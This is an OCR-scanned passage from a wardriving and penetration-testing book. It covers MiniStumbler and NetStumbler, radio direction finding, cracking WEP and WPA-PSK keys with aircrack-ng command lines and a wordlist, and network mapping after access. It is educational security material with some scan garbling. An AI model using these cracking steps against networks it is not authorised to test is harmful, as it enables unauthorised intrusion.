The installation of MiniStumbler is straightforward. First, download the appropriate
installer package from www.netstumbler.com or www.stumbler.net. (The download
for the installer is 1.17MB.) The MiniStumbler installer carries a payload containing
six slightly different versions of the program, one for each of the most popular pro-
cessors and operating system combinations used in some of the more popular hand-
held PCs. They are:

m  PPC2000 running on the ARM processor

® PPC2000 running on the MIPS processor

®  PPC2000 running on the SH3 processor

®  HPC2000 running on the ARM processor
m HPC2000 running on the MIPS processor.
® PPC2002 running on the ARM processor

Once installer application MiniStumblerlnstaller.exe has been downloaded, the next
step is to make sure that the handheld is in communication with the host PC. When
this is done, run the program. The installer displays a status bar as the PC communi-
cates with the handheld PC.You will see the “Add/Remove” program for the hand-
held running in the background.

Next, the installer prompts you for the default installation directory. A second
status bar then appears that opens as the installer places the executable and support
files on the handheld device.You are then prompted to read the README file.
Taking a few minutes to review its contents can save you hours of eftort later.

When done with the README file, the Installer reminds you to check the
handheld device to make sure no other steps are needed to complete the installation.
No further steps should be needed. At this point, the installer has finished and
MiniStumbler should be fully installed on your mobile PC.
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Running MiniStumbler

MiniStumbler records a variety of information that displays on the screen (see Figure

3.19).

Figure 3.19 MiniStumbler User Interface
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The display area is divided into the columns listed in Table3.2, although some

side-to-side scrolling is needed to see them all:

Table 3.2 Column Headings and Explanations

Column Name

Description

MAC

SSID
Name

Chan
Speed

Vendor

Media Address Code; a unique address for each Ethernet
device. Preceding each MAC is a small circular icon. The
icon changes according to several factors. See Table 3.3
and Figure 3.20 for details.

Service Set Identifier; also known as the “network name.”

Access point name. Often blank, as it is not used by all
brands of wireless equipment.

Channel number the network is operating on. In 802.11b
communications it is 1-4.

The reported maximum speed of the network in megabits
per second (Mbps).

Equipment manufacturer’s name or other brand identifier.

Continued
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Table 3.2 continued Column Headings and Explanations

Column Name

Description

Type

Encryption

SNR

Signal+

Noise-
SNR+

IP Addr
Subnet
Latitude

Longitude

First Seen
Last Seen
Signal

Noise

Flags
code.

Beacon Interval
Distance

Network type; either AP for access point, or peer for peer-
to-peer.

If the wireless traffic is encrypted on the network by the
wireless devices, it is marked as WEP (Wired Equivalency
Privacy).

The radio frequency (RF) signal-to-noise ratio; measured in
microvolt deciBels (dBm). Only active when in range of a
network.

The maximum RF signal seen from the network device (in
dBm).

The minimum RF noise reported at the device, in dBm.

The maximum RF signal-to-noise ratio reported at the
device, (in dBm).

The reported Internet Protocol (IP) address, if any.
Any reported network IP subnet, if any.

Latitude as reported by the GPS receiver when NetStumbler
saw the network.

Longitude as reported by the GPS receiver when
NetStumbler saw the network.

The time when NetStumbler first saw the network.
The time when NetStumbler last saw the network.

The current RF signal level (in dBm). Only active when in
the range of a network.

The current RF noise level (in dBm). Only active when in the
range of a network.

802.11 flags from the network in hexadecimal (Base 16)

The interval of the beacon broadcast from the access point.

The distance to where you were when the best Signal-to-
Noise Ratio (SNR) was seen.
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Table 3.3 Encryption and Signal Icons

Color Meaning
Grey No signal
Red Poor signal
Orange Fair signal
Yellow Good
Light Green Better
Bright Green Best

Figure 3.20 Open and Encrypted Network Icons

O @

The Channel column also has several indicators that may appear immediately
next to the channel numbers. These indicators have three states in which you may
see change as you are WarDriving:

® A channel number alone (e.g., 5) means that NetStumbler located a given
network on that channel.

® A channel number followed by an asterisk (e.g., 6*) means that
NetStumbler is currently associated with a network on that channel.

® A channel number followed by a plus sign (e.g., 8+) means that
NetStumbler recently associated with a network during this NS session.

To start MiniStumbler, select the Start menu on the mobile device. If you use
the default values, MiniStumbler will be on the Start menu. Otherwise, it is under
Start Programs.

Due to the size and graphics limitations of handhelds PCs, some information is
only available for later analysis. For example, if you want to employ filtering on cap-
tured data, you must transfer the data to a Windows PC and filter with NetStumbler.
NetStumbler will then display all of the information and the built-in tools for fil-
tering and analysis.

When MiniStumbler starts, it immediately attempts to locate a usable wireless
card and a GPS receiver. MiniStumbler then opens a new file with extension
NS1.The file name is based on the date and time, and is in the YYYYMMDDHH-
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MMSS.ns1 tormat. After locating the wireless card, MiniStumbler scans the airwaves
for nearby wireless networks and the data from any located networks is immediately

entered into the new file.

MiniStumbler Menus and Tool Icons

Looking at the bottom of Figure 3.21, you can see that there are two menus: File

and View. The File menu performs the standard functions such as opening and

saving files, and gives you the option to “Enable scan,” which enables or disables

scanning for networks. Selecting View | Options brings up the MiniStumbler

Options screen (see Figure 3.22).

Figure 3.21 MiniStumbler File Menu
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There are three icons next to the File and View menus. The green arrow icon

enables or disables the wireless card from scanning, the gears icon automatically con-

figures the wireless card for scanning, and the hand holding a menu icon opens the

same Options screen.
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Figure 3.22 MiniStumbler Options.
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Using a GPS with MiniStumbler

To use your GPS receiver with MiniStumbler, you have to use a GPS unit that trans-
mits data over some type of communications link. Most GPS receivers output loca-
tion data in the National Marine Electronics Association (NMEA) 0183 data
protocol using a serial cable. Technically, the NMEA 0183 output is EIA-422A data,
but for all practical purposes it is the same as RS-232 serial data. This means that a
GPS that sends NMEA 0183 data, talks to the serial communications (COM) ports
used on most computers. Some newer GPS units use Bluetooth low-power radio
communications to transmit the NMEA data.

The serial ports on both the handheld PC running MiniStumbler and the GPS
receiver must be set to use the same serial port settings that MiniStumbler uses. In
the Options dialog box, the default GPS communications settings for MiniStumbler
are 4800 baud, 8 data bits, no parity bits, and 1 stop bit. The port and communica-
tion settings can be changed as needed via the GPS tab in the View | Options
dialog box. MiniStumbler looks for NMEA data on the serial port set under the
GPS settings. It also adjusts the speed and other data settings on the chosen serial
port.

The Map Datum from the GPS should be set to the World Geodetic System of
1984 (WGS84), which is the default setting for most GPS receivers. However, occa-
sionally the data output is set to the North American Datum of 1927 (NAD27).
While the two data sets are very similar, there can be a difference in location of over
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100 meters (320 feet) in difterent sections of the U.S.; therefore, using the NAD27
setting can result in inaccurate location information.

Direction Finding
with a Handheld Device

Direction finding using a handheld device is not difficult. A handheld device can be
based on Linux, Windows, or some other operating system. The only requirement is
that the wireless software give some indication of the radio signal strength. The signal
strength can be in absolute terms such as decibels, or it can be in relative terms such
as a percentage. An external directional antenna is preferred. While direction finding
without an external antenna is possible, it is a much slower process. An iPAQ Pocket
PC running MiniStumbler and a directional antenna can be seen in Figure 3.23.

Figure 3.23 iPAQ Pocket PC with Directional Antenna

5

To do direction finding with an external directional antenna, move to a location
where you are able to see at least a minimum signal for the wireless network that
you are attempting to locate. Then slowly sweep the antenna in a circle, watching the
display to seek out the maximum signal reading. This must be done slowly in order
to obtain stable readings in each direction. The sweep of a full circle should take
approximately 30 seconds to one minute. Figure 3.24 shows one such reading.
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Figure 3.24 Signal Reading on MiniStumbler

Table 3.4 shows a sample series of signal readings taken from such a sweep.
Referring to the table, we see that the signal started relatively low, peaked at 24 deci-
bels, and then dropped oft again as the antenna continued to move through the
circle. Based on that, the access point for the wireless router you are attempting to
locate would be in the general direction that the antenna was pointing when the

reading peaked at -24 dBm.

Table 3.4 Signal Strength Sample Readings While Direction Finding

Signal dBm

-83
-75
-58
-42
-36
-24
-38
-46

Continued
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Table 3.4 continued Signal Strength Sample Readings While Direction
Finding

Signal dBm

-60
-69
-81

Once you have a peak reading, move toward that general direction. Because
radios waves can change strength and direction (through two processes known as
reflection and refraction), watching the signal readings as you advance will indicate if
you are moving in the right direction. Having the external antenna should help you
do this quickly. If the signal reading begins to fall off, you must stop and repeat the
circular sweep, and then move in the new direction.

Direction finding without an external antenna means a much slower, more
tedious process. To do it this way, you have to travel to several locations and take
signal strength readings. If you move away from the wireless network, the overall
signal level will decrease. If you move towards it, the overall signal level will increase.
This “stop and read” method is much slower than if you use an external antenna. It
also tends to be more prone to error. Whenever possible, use an external antenna for
any direction finding.
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Summary

Handheld devices provide WarDrivers with a portable solution to identify wireless
networks and capture packets. This can be very beneficial to a penetration tester
when trying to collect packets without being detected. Additionally, handheld
devices are perfect for direction finding and locating rogue access points or clients.
Regardless of your preference, Windows or Linux, there is a handheld WarDriving
solution that will meet your requirements.

The Sharp Zaurus is a very capable Linux-based handheld device that is perfect
for WarDriving. Although Sharp has ceased selling the Zaurus in the United States,
the open source community still provides updated software packages. The lack of
commercial availability has actually provided an advantage to U.S. customers inter-
ested in purchasing a Zaurus. Since there is no longer official support for the devices
from Sharp, you can get one on eBay for a fraction of the original sales price,
making the Zaurus a very affordable WarDriving solution.

Support for Kismet is probably the best “selling point” for the Zaurus. With
strong WiFi support included with both the factory ROM and the open source
OpenZaurus ROM, configuring the Zaurus to use Kismet is easy. There is also a

wide range of GPS support for the Zaurus, making it a snap to create maps of your
WarDrives.
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Solutions Fast Track

WarDriving with a Sharp Zaurus

M The Sharp Zaurus is a Linux-based PDA.
M Kismet install packages are available for the Zaurus.

M Although GPSD is available for the Zaurus, the packages have proven to be
unreliable. It is easier to compile the binary on a Linux workstation and
copy it to the Zaurus.

M You can use a regular handheld GPS unit with an adapter cable, or a GPS
unit that was developed specifically for the Zaurus.

M You can use many different Compact Flash WiFi cards with the Zaurus,
including one that has an external antenna connector

WarDriving with an iPaq

M MiniStumbler runs on PDAs that run Windows CE variants.

M Hermes chipset Personal Computer Memory Card International
Association (PCMCIA) cards work best with MiniStumbler, but other cards
also work.

M MiniStumbler works with GPS receivers that use the NMEA protocol.

Direction Finding with a Handheld Device

M A radio signal strength reading is a must
M The type of operating system doesn’t matter.

M An external directional antenna makes the direction finding much easier,
although it is not an absolute requirement.
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Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q:
A:

> 0

>R 20

I have a null modem cable. Will that work with my GPS and Zaurus?

Yes and no. If you have a connector for the Zaurus port, the null modem cable
will work.

: Since there is no official support for the Zaurus, how can I get answers to my

questions?

. The Zaurus has maintained.a following and there are user groups and forums on

the Web, such as the OF Forums (www.oesf.org/forums) and the Zaurus User
Group (WwWw.zaurususergroup.org).

: Can I create my maps on the Zaurus?

: No, unfortunately, GPSMap is not included withrthe*Zaurus, so you need to

move your .gps files to a stand-alone Linux system with GPSMap installed.

: Is the 1Paq the only Windows-based PDA that MiniStumbler works on?

No. There are a large number of PDAs that MiniStumbler works on (e.g., PDAs
running PocketPC 3.0 and Windows Mobile 2003).

: Will MiniStumbler work on my Windows-based mobile phone?

Your mileage may vary, but I wouldn’t count on it.

: Do I have to have an external antenna for direction finding?

No, but it will certainly make the process easier.
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Introduction

Using the Windows operating system for WarDriving has some distinct advantages.
Unlike the complicated requirements for Linux, most Windows applications run
without having to contend with arcane commands. However, this ease of use can
translate into a disadvantage, because some of the Windows wireless tools are not as
robust as the Linux tools. Every tradeoft has its drawbacks and benefits. In this case,
the benefit is a quick set up and ease of installation.

WarDriving with NetStumbler

NetStumbler is the application used most by WarDrivers that use a Windows oper-
ating system. While originally designed as a wireless network tool, NetStumbler has
grown in popularity due to WarDrivers. It has also helped thousands of networking
and security specialists design and secure wireless networks. Most users refer to
WarDriving as netstumbling (or stumbling).

NetStumbler is a wireless network detector and analysis tool that detects wireless
local area networks (WLANS) that are based on the 802.11b and 802.11g data for-
mats in the Industrial Scientific and Medical (ISM) radio band and the Unlicensed
National Information Infrastructure (U-NII). NetStumbler provides radio frequency
(RF) signal information and other data related to combining computers and radios.
It also provides information on the band and data format being used, depending on
which wireless networking card is being implemented (802.11b, 802.11a, or
802.11g).

How NetStumbler Works

NetStumbler is an active wireless network detection application that does not pas-
sively listen for, or receive, beacons. Also, unlike Kismet (i.e., the popular wireless
program for Linux) NetStumbler does not collect packets.
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Tools & Traps...

“Active” versus “Passive” WLAN Detection

NetStumbler is an “active” wireless network detection application that takes a
specific action to accomplish WLAN detection. This action sends out a specific
data probe called a Probe Request. The Probe Request frame and the associated
Probe Response frame are part of the 802.11 standard. Applications that employ
“passive” detection do not broadcast any signals. Instead, these programs listen
to the radio band for any 802.11 traffic that is within range of the wireless card.
Both approaches have their good points and their bad points; therefore, tools
using both techniques deserve their proper place in your WarDriving toolkit.

NetStumbler sends out a Probe Request and then listens for a responding
Probe Response from access points or ad-hoc networks that are in range. When
it answers, the access point (or peer in an ad-hoc network) responds with infor-
mation such as the Service Set Identifier (SSID) and the Media Access Code (MAC)
numbers. If the request receives a response, NetStumbler logs the information
and reports it to the user via the interface.

If NetStumbler detects an infrastructure WLAN, it requests the access point’s
name. When it finds an ad-hoc WLAN, it requests the names of all of the peers
it sees.

In addition, the NetStumbler interface provides filtering and analysis tools. These
tools allow the user to filter out the number of access points and WLANSs based on
criteria such as which networks are using encrypted traffic. Information collected
from MiniStumbler is also in the same format, and may be imported into
NetStumbler and further analyzed.
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Damage & Defense...

Disabling the Beacon

NetStumbler transmits a Broadcast Request probe to discover the WLAN. Most
access points respond to a Broadcast Request by default. When the access point
responds, it transmits its SSID, MAC number, and other information. However,
many brands and models of access points allow this feature to be disabled. Once
an access point ceases to respond to a request, NetStumbler can no longer detect
it. If you don‘t want your WLAN to show up on the screen of another NetStumbler
user, disable the SSID broadcast on your access point. (Check your access point
manual for “Disable SSID Broadcast,” “Closed SSID,” or similar features.)

The problem with this is if the SSID that the WarDriver enters for
NetStumbler has the same SSID as your network, your access point will still
respond to the probe. This is another good reason to change the default SSID.

NetStumbler Installation

Installing NetStumbler is just like installing other Windows programs. First, down-
load the installer package from www.netstumbler.com or www.stumbler.net. Once
downloaded, run the installer. The installer starts by asking you which options you
would like to install (see Figure 4.1).

For convenience, we recommend installing the complete package. The Audio
Feedback sounds may be turned off via either software or hardware, and the icons
and Start menu can be deleted or rearranged as you deem necessary.

The installer then asks you for an installation folder (see Figure 4.2). Unless you
need a different directory, stick with the default folder of C:\Program Files\Network
Stumbler.
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Figure 4.1 Installation Options

_= Metwork Stumbler Setup: Installation Dptions

i widic feedback,

A7 Start Menu icon
“ii” Desktop icon

Figure 4.2 Installation Folder

C:vProgram Files\Metwork, Stumbler

’7 e

A progress bar then appears, showing how the installation is proceeding. When
the setup is complete, a Show Details button is enabled (see Figure 4.3).

Figure 4.3 Completed Installation

4= Metwork Stumbler Setup: Completed
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Clicking the Show Details button shows what files were extracted and the
directory where each one was placed (see Figure 4.4).

Figure 4.4 Installation Details

42 Network Stumbler Setup: Completed

Estract: ne-zignal-2.wavw

Estract: ne-signal-3.wav

Estract: nz-zignal-4.wav

Estract: nz-zignal-5.way

Eutract: nz-signal-b.way

Extract: ng-aos-new.way

Eutract: na-los.way

Extract: nz-gpz-ermway

Create shortout: C:WWIMDOWShStart MenutPrograms\Metwork, Stumbler. Ink
Create shartcut: C:3WwWINDOW ShDesktophMetwark Stumbler lnk,
Completed

I il Bt sta | sterm e

At the completion of the setup, the Installer program asks if you want to see the
readme file (see Figure 4.5). It’s strongly recommended that you read it, because it
contains important information about running and using NetStumbler.

Figure 4.5 Option to View the readme File

42 Network Stumbler Setup: Completed

You will be prompted to read the readme file (see Figure 4.6). Taking the few
minutes to review its contents may save you hours of effort later.
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Running NetStumbler

To start NetStumbler, select the Network Stumbler desktop icon or choose
Network Stumbler from the Start | Programs menu.

When NetStumbler starts, it immediately attempts to locate a usable wireless
card and a global positioning system (GPS) receiver. The application also opens a
new file with extension ns1 (NetStumbler1). The file name is derived from the
date and time when NetStumbler was started, and is in the YYYYMMDDHH-
MMSS.ns1 format. If a wireless card is located, the program begins to scan for
nearby access points. The data from any located access points is immediately
entered into the new file.

When NetStumbler starts, two splash screens open. Both look the same as Figure
4.6, with the exception that the second screen contains information regarding the
installed wireless card that NetStumbler detected. Information such as the MAC
number and firmware revisions will show, depending on the specifics of the cards
installed, and which one was detected initially.

Figure 4.6 Opening Splash Screens

| Ne.j;iStumbler 0.4.0
LN

o,
Metwork. Stumbler Version 0.3.99 [Build 600)

X

4 Copyright © Marius Milner 2001-2003. All rights reserved.

Licensed for personal use only.

MDIS 5.1 card support by b arius Milner

Intel(R] PRO A ireless 21004 LAN Mini PCl Adapter
Ciriver Yersion: 1.06

MAC Address: 00:04: 23:00:00:FF

— S

Figures 4.7 though 4.12 show NetStumbler data captured from a typical
WarDriving session using NetStumbler 0.4.0. The data shown here was captured
“live and in the wild.” Using this data, we explore how to operate the NetStumbler
user interface. The screen shots were made after the WarDriving session. As a result,
the status bar at the bottom of the screen shows that NetStumbler was not actively
scanning for networks, and that the GPS was disabled at the time.
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In Figure 4.7, a total of 16 wireless networks were found.

Figure 4.7 Captured Data Using NetStumbler

i Metwork Stumbler - [20031203095932.ns1] HEE
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MAC | ssiD [Name | chan | Spesd  [wendor | Type |
; (2 00095B85CE18 METGEAR 1 54 Mbps Metgear AP
@ Filters (2 00062553C341 maxaffice ] 11 Mbps Linksys AP
(O 00062EFAIRE linksys [ 11 Mbps Linksys AR
(2 000393E891F4 playpen EXTREME 10 54 Mbps Apple AP
() 0006258FEDZF linksys [ 11 Mbps Linksys AP
(2 00095B4FDC30 METGEAR G 11 Mbps Metgear AP
(00501 80C5ADC default B 11 Mbps Advance... AP
(2 000CA16F2D0A linksys B 11 Mbps Linksys AP
O 000CA16F411E linksys [ 11 Mbps Linksys AP
() 000DERITEFAD Dennyserve B 54 Mbps AP
O 000C414FACTE linksys [ 11 Mbps Linksys AP
(2 0030AE1F34B5 Wiraless 1 11 Mbps Delta(M... AF
(O 000CA1 AZARF2 linksys [ 54 Mbps Linksys AP
(1 000C41412BB6 linksys B 11 Mbps Linksys AF
@ 00904634274 wireless [ 11 Mbps Gemtek (.. AP
@ N006250EAIBS Gopher B 11 Mbps Linksys AR

Q| | ml
Ready | Mot scanring | GPS: Disabled 16416

The screen is divided into two panes. The pane on the left has a tree structure
consisting of three levels: channels, SSIDs, and filters. The right pane has a list of
detected networks. Each row in the right pane is for a single access point or an
infrastructure network (a peer in an ad-hoc network). The rows are divided into 23
columns that contain much of the associated data that NetStumbler was able to
determine about the access point (or peer). Each column represents one item about
a given access point or peer network. On most computers used for WarDriving, the
screen setting does not allow all 23 columns to be displayed; therefore, moving the
scroll bar allows you to view all the columns.

Starting with the tree structure used in the left pane, let’s look at how you can
use the data (see Figure 4.8).The left pane has three items on the tree marked as
channels, SSIDs, and filters. Beneath each one of those items you can selectively
filter the data collected by NetStumbler to make better use of it. Both channels and
SSIDs consist of lists of the SSIDs and the channels in use by the access points or
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networks that NetStumbler located (e.g., this use of NetStumbler found 16 access
points (none were ad-hoc networks.). By selecting Channels in the left pane, you
can see that, of the 16 access points seen by NetStumbler, all of them were on only
four channels: 1, 6, 10, and 11. By selecting 6, you can see how many of those access
points were on Channel 6, and the MAC of each access point. In this particular case,
13 of the access points were on one channel. (Manufacturers typically use Channel 6
as the default channel for access points.)

Figure 4.8 Filtering by Channels

[A] File Edit View Device Window Help el
DS > % =ame @l
B4 Channels MAC | s=D | Name | chan | Speed | vendor | Type |
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W C)000625FAI5EY linksys B 11Mbps  Linksys AP
----- @ 0006250EATES (> 0006258FED2F linksys G 11 Mbps Linksws AR
----- () D00RZRE3C3A1 (1 D0095B4FDIC30 METGEAR G 11 bps Metgear AP
----- ) 006258FEDZF (D 00B01B0CEADC  default 3 11 tbps Advance.. AP
..... () 000625FAS5E4 3 000C4A16F2004 linksys B 11 kMbps Linksys AP
..... () 00095B4FDC30 O 000CA1BF411E linksys [ 11 kMbps Linksys AP
..... () 000C41412EB6 (1 000D8RITEFAD Dennyserve [ 54 Mbps AP
_____ O 000C414FACTE ODDDC41 AFALCTR Iinksys B 11 MbpS Linksys AP
_____ ) 000C416F2D0A (1 000CA1AZABF2 linksys B 54 Mbps Linksys AP
_____ ) 000C416F411E (2000C41412BB6 linksys B 11 tbps Linksys AR
_____ O 000CATAZARF? @ 0090483427 C4 wireless B 11 Mbps Qemtek(... AP
_____ © 000DBAITEFAD @ D00R2E0EATES Gopher [ 11 kMbps Linksys AP
----- () 0050180CBADC
----- @ 00904B3427C4
[]"'&Kﬂ 10
[]"'[(i'_'ll)] 1
H- 55105
w57 Filters
4] | I
Feady | Mot searring | GPS: Disabled 13718

Also, if you look at the lower-right corner of the status bar, you see the numerals
13/16.These two numbers represent the amount of access points in the current
filter, and the total number of access points found. This is a quick way of deter-
mining the results of using a given filter. It is especially helpful when filtering large
amounts of data.
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In the same way, selecting SSIDs will filter by the network names (see Figure

4.9).

Figure 4.9 Filtering by SSID

1 Metwork Stumbler - [20031203095932.ns1]

Edt View Device window Help

[1 (=
E-4" Channels

2% SSIDs (O 00062553C341 mawofiice G 11 Mbps Linksys AP
B default

M- Dennysarsa
M- Gopher
-t linksys

M- METGEAR

Bl playpen EXTREME
M- Wirelass

-7 Filters

= e - B

First, the SSID level is selected, and then the SSID of “maxoffice.”” Only one
access point is seen here, because only one access point was located with that SSID.
(Note that the status line says 1/16.)

Finally, the last level on the right pain is marked “Filters” and has nine standard
filters for viewing the wireless networks you have found. These filters are

®  Encryption Off
®  Encryption On

B ESS (access point)
m  [BSS (Peer)

m  CF Pollable

m  Short Preamble

www.syngress.com



WarDriving and Penetration Testing with Windows ¢ Chapter 4 103

m PBCC
®  Short Slot Time (11g)
®m  Default SSID

Figure 4.10 shows filtering by networks using encryption.

Figure 4.10 Filter - Encryption On

& Network Stumbler - [20031203095932.ns1] [_ 2] ]

[B] File Edit View Device Window Help =&l
D= = = | 2
“4” Channels
74 55IDs @00904B3427C4 wireless 11Mbps  Germtek(.. AP
-7 Filters @ D00R2E0EATES Gopher 6 11 Mhbps Linksys AP
----- & Encryption Off
----- é Encryption On
o0 | ]
[ Motseaning [ GPS:Disabled

In the second example, the access points are using the default SSIDs that were
set at the factory (see Figure 4.11). While the program does not contain a complete
list of all manufacturers and access points, it does have many of the most popular

brands.
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Figure 4.11 Filter - Default SSID
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il | 0|
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In each example using filters, note that in the lower-right corner of the status
bar, the number of networks meeting the filter criteria is shown in comparison to
the total number of networks found.

Going back to the channels level of the tree, Figure 4.12 shows what happens
when a MAC is selected under a particular channel. The standard right pane is
replaced with a Signal-to-noise Ratio graphic display.

The signal strength bars are in red and green. The upper (green) portion of the
bars shows the RF signal above the noise, and the lower (red) section of each bar
shows the noise level. Notice that the deciBels are expressed in negative numbers.
This is because the numbers measure power relative to one milliWatt (mW). The
power level that your card receives is usually below a mW; therefore, most of the
time the numbers are negative.In this particular case, the noise level was running at
approximately -97 dBm to -99 dBm, and the signal was running at approximately -
80 dBm, with the highest signal at around -66 dBm.
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Figure 4.12 Signal-to-noise Ratio Graphic Display
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The purple bars indicate the point at which the wireless card lost the radio
signal (see Figure 4.13).This usually occurs when a card passes out of range of the
particular wireless network. However, it can also happen when the signal is
momentarily lost due to an object physically blocking the radio signal. The radios
used in wireless networks require a clear line of sight between antennae. When
large objects such as a semi-trailer truck or building blocks the line of sight, the
signal may be lost.

NetStumbler Menus and Tool Icons

Most of the menus used in NetStumbler are familiar; however, several menus are
worth mentioning. One non-standard item on the File menu of concern is File |
Enable scan (see Figure 4.13). This enables or disables the scanning for wireless net-
works. When the checkmark is displayed, the network card is scanning.
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Figure 4.13 File | Enable Scan
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Selecting View | Options opens a dialog box containing many of the items

that can be configured in NetStumbler (see Figure 4.14).

Figure 4.14 NetStumbler Options
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The other important menu is the Device menu, which shows a list of all net-
work interface cards (NICs) detected on the computer (see Figure 4.15). Some
NICs are grayed out if NetStumbler understands that they are network devices, but
does not recognize them as wireless cards. Network devices that NetStumbler recog-
nizes as wireless cards are listed in black. At the bottom of the menu is the Use Any
Suitable Device option. Checking this option allows NetStumbler to automatically
select the first wireless device on the menu, if one was detected when the program
started.

Figure 4.15 Device Menu
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| Mot scarring | GPS: Disabled 16 /18

Toolbar Icons

Most of the icons in the toolbar should be familiar to Windows users. However,
there are three new icons (see Figure 4.16). There is a green arrow pointing to the
right, two over-lapping gears, and a hand-holding a menu.
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Figure 4.16 New Toolbar Icons
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The green arrow icon enables or disables the wireless card from scanning for
networks. The gears automatically configure the wireless card for scanning, and the
hand-holding-the-menu symbol opens the same Options dialog box as seen in
Figure 4.15.

Wireless Penetration
Testing with Windows

Windows is not the ideal platform for wireless penetration; however, because of the
popularity of Windows, we discuss some wireless penetration techniques. As with
WarDriving, wireless pen testing with Windows has the advantage of having most
applications install and run quickly. However, fewer programs and tool are available
for Windows, so the choices are limited.

The first step in performing a wireless penetration test is determining which wire-
less network is the target. This is usually done by conducting a WarDrive. Depending
on the nature of the wireless network and of the target company, there may also be a
need for additional steps such as researching the company on the Web or the library, or
performing some “social engineering.” Social engineering is the process of manipu-
lating people into divulging confidential information that they might not give out
under normal circumstances. This often involves acting as a user who has lost informa-
tion (e.g., the network name, a password, or other account information).

Once you've determined the correct network to attack, you need to break any
encryption used on the network. Several encryption schemes are used in wireless
networking. The original scheme used was the Wired Equivalency Privacy (WEP).
The newer schemes are WiFi Protected Access (WPA) and WiFi Protected Access 2
(WPAZ2). The most popular use of WPA involves a pre-shared key (PSK), which is
essentially a password that is shared between the various pieces of wireless equip-
ment. This key must be installed or “shared” among the equipment before it can be
used. This 1s called WPA-PSK. Cisco has a propriety protocol, the Lightweight
Extensible Authentication Protocol (LEAP), which is not part of the standard, but is
included with Cisco wireless equipment.
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AirCrack-ng

AirCrack-ng is the best known tool available for cracking WEP and WPA-PSK in
Windows. Therefore, knowing how to use AirCrack and associated tools is important
for the penetration tester. Using AirCrack-ng, WEP is broken through a statistical
mathematical analysis, while WPA PSK and WPA2are broken by way of a brute-
force attack against known passwords.

AirCrack-ng is available from www.aircrack-ng.org. As of this writing the cur-
rent version is 0.6 2. AirCrack-ng is the “next generation” of the original AirCrack
program.

To install AirCrack-ng on Windows, download the aircrack-ng-0. 6. 2-win.zip tile
containing Aircrack-ng and the associated programs. The file name format is aircrack-
ng-[version|-win.zip. Create a directory named C:\aircrack-[version[-win, and extract the
archived files into this new directory.

To successtully use AirCrack-ng, you have to capture some packets, which need
to be captured through the wireless network card. Depending on which PC card
you need to load the appropriate drivers, instructions for difterent cards and drivers
are available at www.wirelessdefence.org/Contents/Aircrack-ng WinInstall. htm and
www.aircrack-ng.org. AirCrack-ng supports popular wireless cards based on the
Atheros, Hermes, and Prism chipsets.

Once the drivers are installed, begin to collect packets using the included cap-
ture program airodump-ng, which collects the appropriate packets and assembles
them into one file. Once sufficient packets have been collected, the AirCrack-ng
program can be run in order to break the encryption.

To crack WED, start by opening a console window. On the command line,
launch AirCrack-ng using the following syntax:

aircrack-ng -a 1 filename.cap
The -a 1 tells AirCrack that the program is going to perform a WEP attack. The

filename.cap file is the name of the file containing the captured packets.
To obtain a WPA-PSK, the command line a syntax would be:

aircrack-ng -a 2 -w password.lst filename.cap
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The -a 2 tells AirCrack that the program is going to perform a WPA-PSK
attack. The -w password.Ist tells AirCrack to open a file containing a password list. The
name of the file containing the captured packets is filename.cap.

The AirCrack package includes test capture files so that you can observe how
the programs function even if you do not have a compatible network card. A test
password list is also included, although you will need a larger password file for
serious attacks. A favorite one can be downloaded from www.securitytribe.com/
~roamer/ WORDS. TXT.

Figures 4.17 through 4.19 show how AirCrack-ng behaves in a WPA-PSK
attack. The command sequence is entered at the prompt.

Figure 4.17 Starting AirCrack-ng in the Console Window

e Command Prompt

C:~aircrack-ng—8.6 .2-winsbintaircrack-ng —a 2 —w password.txt test.cap

[

If the file names are correct, AirCrack-ng will search the capture file for a match
in the password list file.
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Figure 4.18 AirCrack-ng Searches the Capture File
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Once the key is found, it is displayed on the screen, along with how many keys
were tested and the time it took to find the correct key. In the test file included in
the AirCrack package, “biscotti” is the key word (see Figure 4.19).

Figure 4.19 AirCrack-ng Finds the WPA-PSK Key
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Once the key has been found, it becomes a simple matter of applying that key to
the wireless card’s user interface, and then joining the wireless network.

Use of this type of cracking program illustrates an important security concept:
using strong passwords, (i.e., long words that consist of mixed letters in and numbers)
is very important.
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Determining Network Topology

Network View

Once you’ve gained access to the actual wireless network, it helps to know the net-
work topology, including the names of other computers and the devices on the net-
work. In order to do this, you can run any number of excellent programs such as
Nmap (available from www.insecure.org), which have both Windows and Linux ver-
sions. However, while information from these applications is often very good, many
times the lack of a graphical interface leaves clients of a penetration test wondering
what you are looking at on the network. For that reason, and continuing with this
chapter’s focus on Windows tools, we take a quick look at a network scan tool called
Network View (available from www.networkview.com)

Network View is a small program that fits on one 1.44MB floppy diskette,
making it very portable. It is designed to locate network devices and routes using
Transmission Control Protocol/Internet Protocol (TCP/IP), Domain Name Service
(DNS), Simple Network Management Protocol (SNMP), port scanning, Network
Basic Input/Output System (NetBIOS), and Windows Management Interface
(WMI) discovery. It allows you to document a network with map diagrams.
Furthermore, it has several built-in reporting and alert tools. The current release is
version 3.51. Because it fits on one floppy disk, installation is a simple matter of
placing it in the disk or directory of your choice. It may be started from a console
window, a desktop shortcut, a menu shortcut, or by double-clicking on a Windows
Explorer window.

In Figure 4.20, we see the NetworkView screen. Prior to starting the discovery
of a network, you can enter some basic information to help you identify the net-
work at a later time. Most of that information is optional; the only requirement is to
fill in a single Internet Protocol (IP) address, or to supply a beginning and end IP
address if you’re going to scan a in network range.

Once started, NetworkView will scan a complete 128-node Class C network in
just a few minutes. The time is dependent on the speed of the computer that
Network View is running on, and the amount of notes or devices that are on the
network. When it is finished, a screen similar to Figure 4.21 is displayed. You can see
that NetworkView discovered a router, four workstations (Tom, Dick, Harry, and
Optiplex), two servers (Adam and Baker), and two laptops (Vaio and Roadwarrior).
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Figure 4.20 Starting a New Scan in NetworkView
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Clicking on any one of the discovered devices brings up the Context menu (see
Figure 4.22). This context menu contains choices such as the Properties of the given
device. Figure 4.23 shows the properties of workstation “Dick.”

www.syngress.com



114

Chapter 4 « WarDriving and Penetration Testing with Windows

Figure 4.21 Completed NetworkView Scan
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Figure 4.22 The Context Menu Available by Right-clicking on a Devi
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Figure 4.23 The Properties of Workstation “Dick”
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There are many other features included with Network View. There are also
many other packages that provide the same functions as Network View.

Summary

This chapter introduced some basic techniques for WarDriving and penetration
testing using Microsoft Windows. It examined some basic operations of NetStumbler
